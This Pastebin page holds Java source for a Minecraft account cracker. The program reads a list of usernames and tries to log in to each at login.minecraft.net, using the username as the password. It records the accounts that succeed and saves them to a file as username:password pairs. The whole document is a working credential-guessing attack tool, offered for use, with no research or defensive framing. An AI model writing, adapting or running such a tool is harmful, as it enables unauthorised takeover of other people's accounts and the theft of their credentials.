Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.BufferedReader;
- import java.io.DataOutputStream;
- import java.io.File;
- import java.io.FileReader;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.InputStreamReader;
- import java.io.PrintStream;
- import java.net.HttpURLConnection;
- import java.net.URL;
- import java.net.URLEncoder;
- import java.util.ArrayList;
- public class Cracker {
- private static File outputFile;
- private static Thread crackThread = null;
- private static ArrayList<String> crackedNames = new ArrayList<String>();
- private static ArrayList<String> notCrackedNames = new ArrayList<String>();
- public static void main(String[] args) {
- System.out.println("-=Jonalu's username=pass mc account cracker=-");
- System.out.println("type help for commands");
- BufferedReader stdIn = new BufferedReader(new InputStreamReader(System.in));
- String uIn;
- try {
- while((uIn = stdIn.readLine()) != null) {
- command(uIn);
- }
- } catch (IOException e) {
- e.printStackTrace();
- }
- exit();
- }
- private static void loadCommand(String uIn) {
- try {
- String[] as = uIn.split(" ");
- if(as.length < 2) {
- System.out.println("incorrect Usage. Syntax: load <path>");
- }
- String path = uIn.replaceFirst("load ", "");
- File f = new File(path);
- if(!f.exists()) {
- System.out.println("File not found");
- return;
- }
- if(f.isDirectory()) {
- System.out.println("Thats a directory!");
- return;
- }
- BufferedReader br = new BufferedReader(new FileReader(f));
- String s1;
- while((s1 = br.readLine()) != null) {
- if(!notCrackedNames.contains(s1) && !crackedNames.contains(s1))
- notCrackedNames.add(s1);
- }
- br.close();
- System.out.println("loaded usernames");
- } catch(IOException ioe) {
- ioe.printStackTrace();
- }
- }
- private static void exit() {
- System.out.println("-=Exiting=-");
- System.exit(0);
- }
- private static void save() {
- try {
- if(outputFile == null || (!outputFile.exists() && !outputFile.mkdirs() && !outputFile.createNewFile())) {
- System.out.println("no output file set. use setfile <path>.");
- } else {
- BufferedReader br = new BufferedReader(new FileReader(outputFile));
- ArrayList<String> list = new ArrayList<String>();
- String s1;
- while((s1 = br.readLine()) != null) {
- list.add(s1);
- }
- br.close();
- for(String s : crackedNames) {
- if(!list.contains(s+":"+s))
- list.add(s+":"+s);
- }
- PrintStream ps = new PrintStream(outputFile);
- for(String s : list) {
- ps.println(s);
- }
- ps.flush();
- ps.close();
- System.out.println("Successfully saved.");
- }
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- private static void command(String uIn) {
- if(uIn.equalsIgnoreCase("help")) {
- showHelp();
- } else if(uIn.equalsIgnoreCase("save")) {
- save();
- } else if(uIn.toLowerCase().startsWith("setfile")) {
- setfile(uIn);
- } else if(uIn.equalsIgnoreCase("exit")) {
- exit();
- } else if(uIn.equalsIgnoreCase("abort")) {
- abort();
- } else if(uIn.toLowerCase().startsWith("load")) {
- loadCommand(uIn);
- } else if(uIn.equalsIgnoreCase("crack")) {
- startCracking();
- } else if(uIn.toLowerCase().startsWith("add")) {
- addCommand(uIn);
- } else if(uIn.toLowerCase().startsWith("remove")) {
- remCommand(uIn);
- }
- }
- private static void remCommand(String uIn) {
- String[] as = uIn.split(" ");
- if(as.length == 2) {
- if(notCrackedNames.contains(as[1])) {
- notCrackedNames.remove(as[1]);
- System.out.println("removed "+as[1]);
- } else if(crackedNames.contains(as[1])) {
- System.out.println("already cracked"+as[1]);
- } else {
- System.out.println(as[1]+" is not in list");
- }
- } else {
- System.out.println("Incorrect Usage. Syntax: remove <username>");
- }
- }
- private static void addCommand(String uIn) {
- String[] as = uIn.split(" ");
- if(as.length == 2) {
- if(notCrackedNames.contains(as[1])) {
- System.out.println(as[1]+" is already in list");
- } else if(crackedNames.contains(as[1])) {
- System.out.println("already cracked"+as[1]);
- } else {
- notCrackedNames.add(as[1]);
- System.out.println("added "+as[1]+" to list");
- }
- } else {
- System.out.println("Incorrect Usage. Syntax: add <username>");
- }
- }
- private static void startCracking() {
- crackThread = new Thread() {
- public void run() {
- boolean running = true;
- for(int i = 0; i < notCrackedNames.size(); i++) {
- String s = notCrackedNames.get(i);
- if(!running)
- break;
- HttpURLConnection connection = null;
- try {
- String parameters = "user=" + URLEncoder.encode(s, "UTF-8") + "&password=" + URLEncoder.encode(s, "UTF-8") + "&version=" + 13;
- URL url = new URL("http://login.minecraft.net/");
- connection = (HttpURLConnection)url.openConnection();
- connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
- connection.setRequestProperty("Content-Length", Integer.toString(parameters.getBytes().length));
- connection.setRequestProperty("Content-Language", "en-US");
- connection.setUseCaches(false);
- connection.setDoInput(true);
- connection.setDoOutput(true);
- connection.connect();
- DataOutputStream wr = new DataOutputStream(connection.getOutputStream());
- wr.writeBytes(parameters);
- wr.flush();
- wr.close();
- InputStream is = connection.getInputStream();
- BufferedReader rd = new BufferedReader(new InputStreamReader(is));
- StringBuffer response = new StringBuffer();
- String line;
- while ((line = rd.readLine()) != null)
- {
- response.append(line);
- response.append('\r');
- }
- rd.close();
- String str1 = response.toString();
- if(str1.contains(":")) {
- notCrackedNames.remove(s);
- crackedNames.add(s);
- System.out.println("Cracked User "+s);
- i--;
- } else if(str1.toLowerCase().contains("bad login")) {
- System.out.println("Failed Cracking "+s);
- } else {
- System.out.println(str1);
- running = false;
- }
- } catch (Exception e) {
- e.printStackTrace();
- }
- if(connection != null)
- connection.disconnect();
- }
- }
- };
- crackThread.start();
- System.out.println("Started Cracking");
- }
- private static void showHelp() {
- System.out.println("-=Help=-");
- System.out.println("crack - start cracking accounts");
- System.out.println("abort - abort cracking accounts");
- System.out.println("save - save cracked accounts to file");
- System.out.println("load <path> - load usernames");
- System.out.println("add <username> - add to cracking list");
- System.out.println("remove <username> - remove from cracking list");
- System.out.println("setfile <path> - set output file path");
- System.out.println("help - show this help");
- System.out.println("exit - exit the cracker");
- }
- private static void abort() {
- if(crackThread != null && crackThread.isAlive()) {
- crackThread.interrupt();
- } else {
- System.out.println("Not scraping.");
- }
- }
- private static void setfile(String uIn) {
- try {
- String[] as = uIn.split(" ");
- if(as.length == 2) {
- outputFile = new File(as[1]);
- if(outputFile.exists() && outputFile.isDirectory())
- System.out.println("That's a directory!");
- else if(!outputFile.exists() && !outputFile.createNewFile())
- System.out.println("Couldn't create file");
- else
- System.out.println("Output file set");
- } else {
- System.out.println("Syntax Error. Correct Usage: setfile <path>");
- }
- } catch(IOException ioe) {
- ioe.printStackTrace();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement